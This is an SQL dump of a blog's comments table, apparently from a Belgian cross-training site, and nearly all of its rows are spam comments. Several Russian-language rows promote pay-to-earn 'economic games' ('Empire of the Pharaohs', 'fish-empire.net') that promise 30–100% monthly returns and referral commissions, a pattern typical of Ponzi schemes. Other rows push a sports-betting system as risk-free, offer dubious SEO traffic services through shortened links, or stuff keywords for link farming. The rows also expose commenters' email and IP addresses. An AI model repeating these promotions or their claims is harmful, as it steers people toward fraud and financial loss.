(84, 1, 'PharaohsBlon', 'marysmirnofff@yandex.com', 'http://empire-pharaohs.com/', '128.72.120.170', '2014-03-10 01:21:28', '2014-03-10 01:21:28', 'Empire Of The Pharaohs - экономическия игра в реальном времени с выводом средств. \r\n \r\nДля тех кто играет в экономические игры и не только. Регистрация: http://empire-pharaohs.com/ \r\n \r\nВсем привет, рад представить Вам свежую экономическую игру с выводом средств \&quot;Империя Фараонов\&quot;. \r\nПлюсы: отсутствие платежных баллов. Вывод средств ничем не ограничен. Авто-выплаты на PAYEER. \r\n \r\nИмперия Фараонов - экономическия игра в реальном времени с выводом средств. Окунитесь в атмосферу древнего Египта, создайте собственную Империю Фараонов, которая будет давать Вам реальные деньги. \r\n \r\nВ этой ролевой игре Вам предоставляется управлять Империей Фараонов. Преобретайте рабов, ремесленников, воинов, жрецов и фараонов. Каждый персонаж вырабатывает определенную продукцию, которую можно обменять и выручить за нее золото. Чем он дороже, тем больше продукции он вырабатывает. \r\n \r\nЗолото можно продать на денежные средства и вывести из игры на свой электронный счет. Можно покупать безконечное количество персонажей. Все персонажи и их продукция не портятся и никуда не исчезают. Сбор продукции осуществляется без потерь и ограничений по срокам. Автоматический ввод в игру и вывод денег на Ваш счет. Маленькая минималка. \r\n \r\nМожно играть без вкладов. При регистрации мы отдаем всем Раба в подарок. Ежедневные бонусы, лотерея, конкурсы. Так же присутствует реферальная программа. Приглашайте в игру своих близких и знакомых. За каждое пополнение баланса партнерами, Вы будете получать 20% от суммы их пополнения. Ваша Империя будет приносить прибыль вечно. \r\n \r\nСтатистика проекта: \r\nВсего жителей:	          3580 чел. \r\nНовых за сутки:	          92 чел. \r\nПродали золота на:	  6922.34 RUB \r\nКупили золота на:         73119.44 RUB \r\nВозраст империи:	  37-й день \r\n \r\nЦены и расчет дохода: \r\nПерсонаж------------Стоимость---------Прибыль------Окупаемость \r\nРаб------------------30 руб--------0,24 руб.день------125 дней \r\nРемесленник----------150 руб-------1,44 руб.день------104 дней \r\nВоин-----------------300 руб-------3,60 руб.день-------83 дней \r\nЖрец-----------------600 руб-------8,64 руб.день-------69 дней \r\nФараон--------------1200 руб-------19,44 руб.день------61 дней \r\n \r\nНе однократно уже получены выплаты. Всех кого заинтересовало мое письмо, могут зарегистрироваться на проекте \r\nи посмотреть все своими глазами, а при желании, начать играть. Всем приятной игры и хорошего настроения. \r\n \r\nинтернет игры с выводом денег отзывы \r\nлучшая игра с выводом денег отзывы \r\nигра бобер с выводом денег отзывы \r\nигра бобры с выводом денег отзывы \r\ngarden игра с выводом денег отзывы', 0, '0', 'Opera/9.80 (Windows NT 5.1; Edition Ukraine Local) Presto/2.12.388 Version/12.10', '', 0, 0),
(85, 1, 'seo vps', '*@gmail.com', 'http://www.webtrafficsoftware.info', '87.238.209.234', '2014-03-11 10:50:37', '2014-03-11 10:50:37', 'Want to rank your website? http://www.webtrafficsoftware.info', 0, '0', 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) )', '', 0, 0),
(86, 1, 'Pauline', 'tgrcshvdxl@gmail.com', 'http://tiny6.com/ldia', '23.81.201.92', '2014-03-12 03:01:30', '2014-03-12 03:01:30', 'We have decided to open our POWERFUL and PRIVATE website traffic system to the public for a limited time! You can sign up for our UP SCALE network with a free trial as we get started with the public\'s orders. Imagine how your bank account will look when your website gets the traffic it deserves. Visit us today: http://pay4by.cc/rnwh', 0, '0', 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 1.0.3705)', '', 0, 0),
(87, 1, 'ZogNam', '343ewcf3pdes@gmail.com', 'http://xxioeoieejjwbb1w.com', '91.200.14.96', '2014-03-13 08:52:09', '2014-03-13 08:52:09', '?I used to be more than happy to search out this internet-site.I needed to thanks on your time for this wonderful learn!! I definitely having fun with every little little bit of it and I\'ve you bookmarked to check out new stuff you weblog post.', 0, '0', 'Opera/9.80 (Windows NT 6.1; Edition Yx) Presto/2.12.388 Version/12.11', '', 0, 0),
(88, 1, 'extreme traffic', 'linda-fericsen@hotmail.com', 'http://extreme-seo-traffic.com', '178.137.92.70', '2014-03-19 09:01:51', '2014-03-19 09:01:51', 'hi www.crosstrainingcenter.be owner discovered your site via search engine but it was hard to find and I see you could have more visitors because there are not so many comments yet. I have discovered website which offer dramatically increase laser targeted traffic from search engines to your site http://extreme-seo-traffic.com they claim they managed to get close to 4000 visitors/day using their services you could also get lot more targeted traffic from search engines as you have now. I used their services and got significantly more visitors to my website. Hope this helps :) They offer most cost effective services to increase website traffic at this website http://extreme-seo-traffic.com \r\nTo your success your friend \r\nLinda', 0, '0', 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.117 Safari/537.36 OPR/20.0.1387.64', '', 0, 0),
(89, 1, 'extreme traffic', 'sophia.allen89@hotmail.com', 'http://massive-auto-traffic.com', '46.118.116.0', '2014-04-01 09:17:58', '2014-04-01 09:17:58', 'After getting more than 10000 visitors/day to my website I thought your www.crosstrainingcenter.be website also need  unstoppable flow of traffic... \r\n \r\nUse this BRAND NEW software and get all the traffic for your website you will ever need ... \r\n \r\n= = &amp;gt; &amp;gt; http://massive-auto-traffic.com \r\n \r\nIn testing phase it generated 867,981 visitors and $540,340. \r\n \r\nThen another $86,299.13 in 90 days to be exact. That\'s $958.88 a \r\nday!! \r\n \r\nAnd all it took was 10 minutes to set up and run. \r\n \r\nBut how does it work?? \r\n \r\nYou just configure the system, click the mouse button a few \r\ntimes, activate the software, copy and paste a few links and \r\nyou\'re done!! \r\n \r\nClick the link BELOW as you\'re about to witness a software that \r\ncould be a MAJOR turning point to your success. \r\n \r\n= = &amp;gt; &amp;gt; http://massive-auto-traffic.com \r\nBest regards \r\nYour friend \r\nSophia', 0, '0', 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:26.0) Gecko/20100101 Firefox/26.0', '', 0, 0),
(90, 1, 'Jennifer', 'lwazhmsr@gmail.com', 'http://abrevia.retialis.net/158g', '23.81.201.89', '2014-04-03 05:51:35', '2014-04-03 05:51:35', 'Are you tired of your site not giving you the traffic you hoped it would like I once was? If so I am spreading the word about my recent experience with an SEO service that has taken my website to the next level! Their SEO package is a must-have for websites of any age and the best part is that their work is Penguin and Panda proof. I wasn\'t sure at first but since they offer a seven day free trial I signed up. Now my site is on the first page of Google and getting a lot of search engine traffic! Visit them today: http://url.sorgol.com/3s', 0, '0', 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) )', '', 0, 0),
(91, 1, 'Jennifer', 'awqextezxwe@gmail.com', 'http://bsand.in/-gi5i', '23.81.201.74', '2014-04-04 20:40:56', '2014-04-04 20:40:56', 'In the competitive market of Google results owning and maintaining a website can be difficult and time consuming. As webmasters we all could use more visitors and increased Google rankings, but we must also be wary of the penguin and panda updates that Google has recently introduced. Luckily I have found an SEO service that is penquin and panda proof, that is will not incur penalties based on the new algorithm updates. They also offer a seven day free trial to try the product out and I saw a dramatic increase in my traffic once I signed up. In fact I am so happy with their service I am spreading the word to all of the webistes I visit frequently. Check them out here: http://bsand.in/-gi5i', 0, '0', 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) )', '', 0, 0),
(92, 1, 'Moiffitagoaro', 'tmsnewtmsnew@gmail.com', 'http://kpdstroy.ru/bolars-kley-plitochnyy/', '94.127.144.225', '2014-04-06 11:16:57', '2014-04-06 11:16:57', '&lt;a href=\&quot;http://kpdstroy.ru/bolars-kley-plitochnyy/\&quot; / rel=\&quot;nofollow\&quot;&gt; \r\nhttp://s017.radikal.ru/i416/1310/55/4cdd574b932d.jpg \r\nhttp://s017.radikal.ru/i443/1310/be/5d33f485a4b8.jpg&lt;/a&gt; \r\n \r\nTegs: штукатурка боларс короед  боларс клей плиточный метро бульвар дмитрия донского  &lt;b&gt;боларс финишная super&lt;/b&gt;. \r\n \r\nболарс двери входные  боларс клей плиточный район свиблово  \r\n&lt;i&gt;боларс стяжка основа бт  боларс клей плиточный район северный &lt;/i&gt; \r\n&lt;b&gt;боларс structure 0 5  боларс клей плиточный юзао &lt;/b&gt; \r\n&lt;a href=\&quot;http://kpdstroy.ru/bolars-kley-plitochnyy/\&quot; / rel=\&quot;nofollow\&quot;&gt;боларс клей плиточный район ново-переделкино &lt;/a&gt;', 0, '0', 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.13014 YaBrowser/13.12.1599.13014 Safari/537.36', '', 0, 0),
(93, 1, 'FishSn', 'galaluda@yandex.com', 'http://fish-empire.net/', '95.25.1.39', '2014-04-06 17:33:07', '2014-04-06 17:33:07', 'FISH-EMPIRE.NET - игра рпг с выводом денег. Запуск игры 31.03.2014. \r\n \r\nДля ознакомления кликните по ссылке: http://fish-empire.net/ \r\n \r\nНаши Особенности: Свободная статистика - Вы всегда будете знать о текущем состоянии золота в игре. В системе не содержится никаких запретов для обмена золота. \r\n \r\nВыгодные условия - возможность во много раз приумножить свои вклады. Мы обещаем от 30% до 100% ежемесячно. \r\n \r\nРост капитала проекта - за счет влива средств на рекламу и привлечения в игру новых участников - пользователями, работающих по партнерской програме. Быстрая поддержка на приветном форуме. Уникальная среда и ещё разнообразие других плюсов. \r\n \r\nО проекте: FISH-EMPIRE.NET - игра рпг с выводом денег. Погрузитесь в среду экономической онлайн игры и создайте свою Рыбную Империю, которая всегда будет приносить Вам настоящие деньги. \r\n \r\nВ данной игре Вам нужно приобретать всяких рыб. Каждая рыба дает икру, которую можно продать на золото. Золото можно выручить за настоящие средства и снять из проекта на свои электронные счета. \r\n \r\nВсе рыбы производят определенное количество икры, чем они больше стоят, тем икры производят больше. Вы можете преобретать любое их количество, у рыб нет срока годности, они никуда не исчезнут и будут давать Вам икру стабильно. Сбор икры осуществляется без потерь и препятствий по времени. \r\n \r\nНачинай Игру: Начать играть можно без затрат. При регистрации мы дарим Всем Щуку. Каждый день бонусы, лотерея, конкурсы, акции. Так же существует партнерская програма. Призывайте в игру своих друзей и близких. \r\n \r\nЗа каждое пополнение баланса партнерами, Вы будете иметь 30% от суммы их инвестиций. Авто -  ввод в игру и вывод средств на Ваш электронный счет. Низкая минималка на Payeer, всего 3 RUB. Ваша Рыбная Империя будет давать средства каждый день. \r\n \r\nКурс игрового инвентаря: 100 гр. икры = 1 гр. золота. 100 гр. золота = 1 RUB. \r\n \r\nРыбы-------------------Стоимость----------------Доход в день-----------Окупаемость \r\nЩука--------------------90 RUB--------------------1 RUB--------------------90 дней \r\nМинтай-----------------270 RUB------------------3,6 RUB--------------------75 дней \r\nЛосось-----------------810 RUB------------------13,5 RUB-------------------60 дней \r\nОсетр------------------2430 RUB-----------------54 RUB---------------------45 дней \r\nБелуга-----------------7290 RUB-----------------243 RUB--------------------30 дней', 0, '0', 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1700.76 Safari/537.36', '', 0, 0),
(94, 1, 'Abby', 'cindcisamt@gmail.com', 'http://jasonchua.me/qcnaz', '23.81.201.82', '2014-04-06 23:09:20', '2014-04-06 23:09:20', 'Are you tired of your site not giving you the results you hoped it would like I once was? If so I am spreading the word about my recent experience with an SEO company that has taken my business to the next level! Their SEO service is a must-have for websites of any age and the best part is that their work is Penguin and Panda proof. I was skeptical at first but since they offer a seven day free trial I tried it. Now my site is on the first page of Google and getting tons of search engine traffic! Visit them today: http://url.sorgol.com/3s', 0, '0', 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)', '', 0, 0),
(95, 1, 'Abby', 'nepvtq@gmail.com', 'http://s-url.me/c30', '23.81.201.90', '2014-04-09 08:50:36', '2014-04-09 08:50:36', 'Hello web admin, I finally found your website after going through many different pages of search results on Google. I am sure you do not get a lot of organic search traffic as you are not on the the first page of search results. I found a company that can fix your search traffic problem and get your website to the first page:http://url.sorgol.com/3s As you know, organic search traffic is the most valuable and targeted traffic on the internet and I am getting close to 1,000 visitors per day using their service and that is why I am recommending them to you. I wish you success in the future with your website!', 0, '0', 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 2.0.50727 ; .NET CLR 4.0.30319)', '', 0, 0),
(96, 1, 'john', 'john@hotmail.com', 'http://www.QS3PE5ZGdxC9IoVKTAPT2DBYpPkMKqfz.com', '62.210.142.7', '2014-04-09 23:49:11', '2014-04-09 23:49:11', 'TvRAfb http://www.QS3PE5ZGdxC9IoVKTAPT2DBYpPkMKqfz.com', 0, '0', 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)', '', 0, 0),
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(108, 1, 'nuikoyhjq', 'herdarbb@hotmail.com', '', '120.37.208.146', '2014-08-04 15:10:28', '2014-08-04 15:10:28', '@@@ \r\nMore contentious is the subject of dilution. Now, for those who insist on using lump or granulated sugar, a dash of water is essential 鈥?you\'ll never dissolve it in alcohol alone. But if you\'re using syrup, it is unnecessary, particularly if you\'re muddling orange in there too, which will provide its own dilution (I firmly believe a splash of water brings out the flavour of most alcohols). Worst of all, however, are the recipes, such as Schumann\'s, &lt;a href=\&quot;http://www.juicemarket.info/welcome.aspx\&quot; rel=\&quot;nofollow\&quot;&gt;True Religion Outlet Online&lt;/a&gt; that top up the glass with soda or still water (which may also be the only sin ), killing its potent, boozy charms stone dead. DeGroff lists water or soda as optional extras, cautioning the reader to \&quot;be careful not to drown the drink\&quot;. The best way to avoid that danger, in my opinion, is not to start down that road in the first place; if you want a long drink, have one.Ice, however, which Doudoroff lists &lt;a href=\&quot;http://www.styledepth.com/images/Login.asp\&quot; rel=\&quot;nofollow\&quot;&gt;True Religion Jeans For Men&lt;/a&gt; as optional because of its similarly, if slower, diluting qualities, is a must 鈥?as the temperature of the drink drops, its sweetness comes to the fore. If you have one of those giant &lt;a href=\&quot;http://janewenham-jones.com/fitflop-outlet.asp\&quot; rel=\&quot;nofollow\&quot;&gt;Fitflop Sale&lt;/a&gt; ice-cube moulds to impede the melting process, so much the better.GarnishA slice of orange and an extra cherry will make the drink look pretty, but I don\'t think it needs lemon, pineapple or any of the other garnishes that became popular in the drink\'s Draper-era dark days. This is a cocktail, as Victoria Moore observes, that should be drunk \&quot;with gravitas\&quot;.The perfect old fashioned \r\n \r\nFor the sugar syrup (makes lots of syrup, but keeps almost indefinitely):100g brown sugar 100ml waterFor each drink:Bitters of your choice2 slices of orange2 maraschino cherries60ml bourbonIcePut the sugar and water in a small pan and bring to the boil, stirring to dissolve the sugar. Decant into a jar or bottle and allow to cool.Put a splash of syrup in a small rocks glass and add a &lt;a href=\&quot;http://janewenham-jones.com/beats-by-dre-studio.html\&quot; rel=\&quot;nofollow\&quot;&gt;Beats By Dr Dre&lt;/a&gt; couple of dashes of bitters. Put in a slice of orange and a cherry, then muddle against the bottom of the glass until the fruit is thoroughly mushed. Remove the orange and any big bits of cherry skin.Pour in the bourbon and stir well. Taste and add more syrup or bitters if you feel it lacking. Add ice in quantity, then garnish with the remaining fruit. Serve immediately and drink slowly.The old fashioned: are simple drinks always &lt;a href=\&quot;http://janewenham-jones.com/mybooks.php\&quot; rel=\&quot;nofollow\&quot;&gt;Kate Spade Sale&lt;/a&gt; best? Is a maraschino cherry sacrilege? And what\'s your default choice at the bar?', 0, '0', 'Mozilla/5.0 (Windows NT 6.1; rv:27.0) Gecko/20100101 Firefox/27.0', '', 0, 0),
(109, 1, 'Соломон', 'dobrovvtsevdobrovvts@gmail.com', '', '94.153.9.222', '2014-08-31 12:24:51', '2014-08-31 12:24:51', 'Признаюсь честно, как все-таки я  я вас понимаю, насколько это все знакомо. \r\n \r\nВ недалеком прошлом я находился в такой досданой ситуации . \r\nЯ очень терпел адские боли. У меня чаще всего болела нога. Я  попробовал решить проблему без привлечения сторонних специалистов. Но позитивного влияния не стало.  Один мой  товарищ посоветовал  прекрасную  вещь. Я сам перед этим не задумывался о таком. Но  на данный момент я в курсе и не капли не жалею. \r\nМне  дали наводку приобрести массажное кресло . \r\nВ данную минуту я наверное самый  беззаботный человек  в нашем регионе. \r\n  У меня больше нет проблемы которые  меня пытали. Я как будто появился на свет заново . \r\nЧто самое замечательное  во всем этом, это то что я не отрываясь от работы \r\nмогу самостоятельно получать relax после которого уходят все боли. \r\nЕсли тебе интересно ,  ниже  поставил  линк на модель которую я  заказывал  себе. \r\nhttp://www.slims.ru/kreslo-massazhnoe/us_medica/621966/  \r\n \r\n \r\nhttp://img32.ru/uploads/13344167342513410.jpg \r\n \r\nhttp://img32.ru/uploads/17737217612048062.jpg \r\n \r\nhttp://img32.ru/uploads/70738887215445913.jpg \r\n \r\nhttp://img32.ru/uploads/31787769750415378.jpg \r\n \r\nВ общем здесь очень большой выбор кресел, возможно ты найдешь другую модель  лично под себя \r\nУспехов в лечение. Береги свое время и нервы', 0, '0', 'Opera/9.80 (Windows NT 6.1; Win64; x64) Presto/2.12.388 Version/12.16', '', 0, 0),
(110, 1, 'Michaelmig', 'semenow.pet2015@yandex.com', 'http://www.meksikabiber.com/corn-free-diet.html', '95.139.116.91', '2014-10-09 17:39:32', '2014-10-09 17:39:32', 'Low calorie chicken recipesWhat is taurineFoods to eat to gain weighthttp://www.meksikabiber.com/harcombe-diet-phase-1.htmlWomen bodybuilding dietWeight loss during pregnancyHealthy fish recipes &lt;a href=\&quot;http://www.meksikabiber.com/having-a-baby.html\&quot; rel=\&quot;nofollow\&quot;&gt;Having a baby&lt;/a&gt; Healthy vegetable soupFat burning soup recipesGluten free desserts \r\nHow to do an elimination dietCauses of addJewish dietary lawshttp://www.meksikabiber.com/low-carb-grocery-list.htmlBest tips to lose weightWeight loss waterHow to lose weight in 2 months &lt;a href=\&quot;http://www.meksikabiber.com/lacto-ovo-vegetarian-diet.html\&quot; rel=\&quot;nofollow\&quot;&gt;Lacto ovo vegetarian diet&lt;/a&gt; Constipation and abdominal painPaleo diet eggsSigns of gestational diabetes', 0, '0', 'Mozilla/5.0 (Windows NT 6.1; rv:31.0) Gecko/20100101 Firefox/31.0', '', 0, 0),
(111, 1, 'Garrettpype', 'pokupatel.sfer@yandex.ru', 'http://pokupkicherezinternet.ru/%D0%BB%D1%83%D1%87%D1%88%D0%B8%D0%B9-%D1%81%D0%BC%D0%B0%D1%80%D1%82%D1%84%D0%BE%D0%BD-%D0%B4%D0%BE-10000-%D1%80%D1%83%D0%B1%D0%BB%D0%B5%D0%B9-2014-%D0%B3%D0%BE%D0%B4%D0', '95.139.116.91', '2014-11-16 21:20:07', '2014-11-16 21:20:07', 'Собственно задание в названии темы. \r\nКоторый смарт довольно лучшим после 2014 год? \r\nСогласно подобным статьям http://pokupkicherezinternet.ru/%D0%BB%D1%83%D1%87%D1%88%D0%B8%D0%B9-%D1%81%D0%BC%D0%B0%D1%80%D1%82%D1%84%D0%BE%D0%BD-%D0%B4%D0%BE-10000-%D1%80%D1%83%D0%B1%D0%BB%D0%B5%D0%B9-2014-%D0%B3%D0%BE%D0%B4%D0%B0.html \r\nпервоклассный смартфон до 10000 рублей 2014 возраст определен. \r\nА каково ваше мнение? Какой смартфон можете назватьлучший смартфон перед 10000 рублей 2014 года именно вы? \r\nвопрос к сожалению не праздный. Сам планирую покупку в ближуйщее пора и совершенно казаться не могу определиться. \r\nБуду рад вашей помощи. Лениться опираться исключительно для такие статьи. \r\nСпасибо! \r\n&lt;a href=\&quot;http://pokupkicherezinternet.ru/%D0%BB%D1%83%D1%87%D1%88%D0%B8%D0%B9-%D1%81%D0%BC%D0%B0%D1%80%D1%82%D1%84%D0%BE%D0%BD-%D0%B4%D0%BE-10000-%D1%80%D1%83%D0%B1%D0%BB%D0%B5%D0%B9-2014-%D0%B3%D0%BE%D0%B4%D0%B0.html\&quot; rel=\&quot;nofollow\&quot;&gt;лучший смартфон до 10000 рублей 2014 года&lt;/a&gt; \r\n&lt;a href=\&quot;http://pokupkicherezinternet.ru/%D0%BB%D1%83%D1%87%D1%88%D0%B8%D0%B9-%D1%81%D0%BC%D0%B0%D1%80%D1%82%D1%84%D0%BE%D0%BD-%D0%B4%D0%BE-10000-%D1%80%D1%83%D0%B1%D0%BB%D0%B5%D0%B9-2014-%D0%B3%D0%BE%D0%B4%D0%B0.html\&quot; rel=\&quot;nofollow\&quot;&gt;лучший смартфон до 10000 рублей 2014 года&lt;/a&gt;', 0, '0', 'Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36', '', 0, 0),
(112, 1, 'JessicavonO', 'jessicasenson2296@hotmail.com', 'http://next-gen-traffic.net', '178.137.84.124', '2014-11-20 12:45:56', '2014-11-20 12:45:56', 'hello www.crosstrainingcenter.be admin have you wondered what’s the secret how big company websites get massive targeted traffic and exposure in Google 1st page results for the biggest and toughest keywords? \r\nAnswer is simple links, but only quality links which counts as votes for your site giving Google no choice but to shoot your site rankings to #1 results so your customers can see your site at the top of Google search results.  Today is your lucky day because I’m going to reveal you secret resource of best of the best links from 500’000 website network! Yes that’s correct not some tiny 500 site network but half a million. \r\n*Links from real established, authority English actual PR pages with low outbound links max 10 \r\n* Skyrocket your website rankings for your website related keyword and get massive laser targeted traffic, customers and $$$ in your bank account. Forget about thousands of crap directory and forum links which will do nothing bust just hurt your website rankings. Get the real deal at http://next-gen-traffic.net Yes that’s the future of link building \r\nAfter my site is now at #1 position in Google I think http://next-gen-traffic.net is the game changer in seo world! \r\nYour friend Jessica.', 0, '0', 'Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.143 Safari/537.36 OPR/23.0.1522.77', '', 0, 0),
(113, 1, 'MikeOr', 'mike_omike@aol.com', 'http://mass-auto-traffic.net/download.html', '178.137.84.124', '2014-11-22 18:17:48', '2014-11-22 18:17:48', 'After getting more than 10000 visitors/day to my website I thought your www.crosstrainingcenter.be website also need  unstoppable flow of traffic... \r\n \r\nUse this BRAND NEW software and get all the traffic for your website you will ever need ... \r\n \r\n= = &amp;gt; &amp;gt; http://mass-auto-traffic.net/download.html \r\n \r\nIn testing phase it generated 867,981 visitors and $540,340. \r\n \r\nThen another $86,299.13 in 90 days to be exact. That\'s $958.88 a \r\nday!! \r\n \r\nAnd all it took was 10 minutes to set up and run. \r\n \r\nBut how does it work?? \r\n \r\nYou just configure the system, click the mouse button a few \r\ntimes, activate the software, copy and paste a few links and \r\nyou\'re done!! \r\n \r\nClick the link BELOW as you\'re about to witness a software that \r\ncould be a MAJOR turning point to your success. \r\n \r\n= = &amp;gt; &amp;gt; http://mass-auto-traffic.net/download.html \r\nBest regards \r\nYour old friend Mike', 0, '0', 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.143 Safari/537.36 OPR/23.0.1522.77', '', 0, 0),
(114, 1, 'Sherry', 'kavzngwkqme@gmail.com', 'http://tf3.info/5w', '192.69.255.223', '2014-12-01 16:34:15', '2014-12-01 16:34:15', 'Hi, my name is Sherry and I am the sales manager at StarSEO Marketing. I was just looking at your site and see that your site has the potential to become very popular. I just want to tell you, In case you didn\'t already know... There is a website network which already has more than 16 million users, and most of the users are looking for niches like yours. By getting your website on this network you have a chance to get your site more visitors than you can imagine. It is free to sign up and you can read more about it here: http://esyok.com/shirt/3z - Now, let me ask you... Do you need your site to be successful to maintain your way of life? Do you need targeted traffic who are interested in the services and products you offer? Are looking for exposure, to increase sales, and to quickly develop awareness for your website? If your answer is YES, you can achieve these things only if you get your site on the service I am talking about. This traffic network advertises you to thousands, while also giving you a chance to test the service before paying anything at all. All the popular blogs are using this service to boost their traffic and ad revenue! Why aren’t you? And what is better than traffic? It’s recurring traffic! That\'s how running a successful site works... Here\'s to your success! Read more here: http://esyok.com/shirt/3z', 0, '0', 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)', '', 0, 0);
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}\\\'))\&quot; &amp;gt; --&gt;&lt;a&gt;&lt;/a&gt;] Edit or delete it, then start blogging!', 0, '0', 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)', '', 0, 0),
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(120, 1, 'PatriciaBeem seo manager', 'patricialinser@hotmail.com', 'http://next-gen-seo-traffic.com', '46.118.116.33', '2015-01-17 07:00:57', '2015-01-17 07:00:57', 'This is a very good tip particularly to those fresh to the blogosphere. Brief but very accurate info… Appreciate your sharing this one. A must read post!', 0, '0', 'Mozilla/5.0 (Windows NT 6.3; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0', '', 0, 0),
(121, 1, 'Abby', 'wzwceqwbsx@aol.com', 'http://cmyad.co/i/5b58', '23.232.158.140', '2015-01-21 05:34:09', '2015-01-21 05:34:09', 'I came to your Hello world! | Cross Training Center (Namur - Limelette) page and noticed you could have a lot more hits. I have found that the key to running a website is making sure the visitors you are getting are interested in your niche. There is a company that you can get visitors from and they let you try the service for free. I managed to get over 300 targeted visitors to day to my site. Visit them here: http://anders.ga/1oahd', 0, '0', 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 2.0.50727 ; .NET CLR 4.0.30319)', '', 0, 0),
(122, 1, 'Hannahcib', 'laura-ferksen89@outlook.com', 'http://skyrocket-web-traffic.com', '46.119.124.10', '2015-02-11 21:37:48', '2015-02-11 21:37:48', 'Hi www.crosstrainingcenter.be admin, noticed you have nice website and really liked your post. Not so many comments though, \r\nso just thought I could recommend you seo website http://skyrocket-web-traffic.com which will get hundreds and thousands laser targeted visitors from Google 1st page for your site in no time. They use only time tested and 1 year deep researched white hat methods which actually work in today\'s seo world. Have a nice day and hope next time I visit your site it will be lot more popular. \r\nRegards your friend Laura.', 0, '0', 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36', '', 0, 0),
(123, 1, 'Jasminebal', 'jasmine-lucky777@outlook.com', 'http://12k-cash-software.com/Download.html', '178.137.162.171', '2015-02-23 20:08:06', '2015-02-23 20:08:06', 'Hi www.crosstrainingcenter.be admin I bet you wanna make more money? So how about \r\n \r\nthe insider secret software cashing $12,234 in 2 months? \r\nhttp://12k-cash-software.com/Download.html \r\n \r\nThat\'s what you can make and it is much more easy as internet marketing... \r\n \r\nLet me get it straight. \r\n \r\nI dont care about sports. Shame on me but I dont even know the \r\nfootball rules. Never cared less. \r\n \r\nWhat I care about is making money for me and my family. \r\n \r\nI tried everything from stocks &amp;amp; forex to internet marketing and \r\naffiliate programs.. I even made some money but then blew it all away \r\nwhen the stock market went south. \r\n \r\nWhat I was looking is the long term solution that can give me an edge. \r\nI think I finally found it. It is called Z code system. \r\n \r\nZ Code is not about sports. It is about following the system and \r\nwinning in a long run. That is why it is called sports investing and \r\nnot gambling. \r\n \r\nGuys will send you game picks and the predictions from the insider \r\ninfo based on their precise statistical model proven since 1999. \r\n \r\nYou place the bets and win. That\'s it. \r\n \r\nDon\'t take my word on it. Check out the proof video here: \r\n \r\nhttp://12k-cash-software.com/Download.html \r\n \r\nThese guys combine the power of their human cappers who are experts in \r\nsports with the power of technology: statistical data since 1999. \r\nTheir wins are documented and proven - each winning and losing pick is \r\navailable for members to check and verify in the members zone. \r\n \r\nThe performance chart goes straight into profits. Over $12,000 usd \r\nprofit for average bet of $100 during the last 2 months! \r\n \r\nNo wonder... I mean, \r\n \r\neven if you are skeptical you really NEED to check out how transparent \r\nthese guys truly are... \r\nVideos of bank accounts stuffed with money, videos of bookmaker \r\naccounts, screenshots proving how effective this killer software is, \r\nvideos of how to make the money risk free, hundreds of real people \r\ntestimonials... \r\n \r\n...proof, proof, and more proof!!  All sitting there for you to \r\nabsorb! Don\'t take my word for it - you have to see it to believe it. \r\n \r\nhttp://12k-cash-software.com/Download.html \r\n \r\nAnd the best part about it is just how easy it is to use!  Everything \r\nabout this product is TOP class- \r\n \r\n- from the software itself \r\n- to the video tutorials showing how to use the software &amp;amp; picks \r\n- to the comprehensive FAQ &amp;amp; Money management tips \r\n- to the well trained support team lead by Anny. \r\n \r\nThese guys have everything covered! \r\n \r\nCheck it out for yourself: \r\n \r\nhttp://12k-cash-software.com/Download.html \r\n \r\n \r\nYour friend Jasmine', 0, '0', 'Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 YaBrowser/14.10.2062.12061 Safari/537.36', '', 0, 0),
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(125, 1, 'Danielle', 'waftembxhy@hotmail.fr', 'http://pixz.nu/2fqB', '23.108.170.197', '2015-03-18 23:25:54', '2015-03-18 23:25:54', 'I discovered your Hello world! | Cross Training Center (Namur - Limelette) page and noticed you could have a lot more hits. I have found that the key to running a popular website is making sure the visitors you are getting are interested in your niche. There is a company that you can get visitors from and they let you try the service for free. I managed to get over 300 targeted visitors to day to my site. Check it out here: http://kout.eu/2y9i', 0, '0', 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 2.0.50727 ; .NET CLR 4.0.30319)', '', 0, 0),
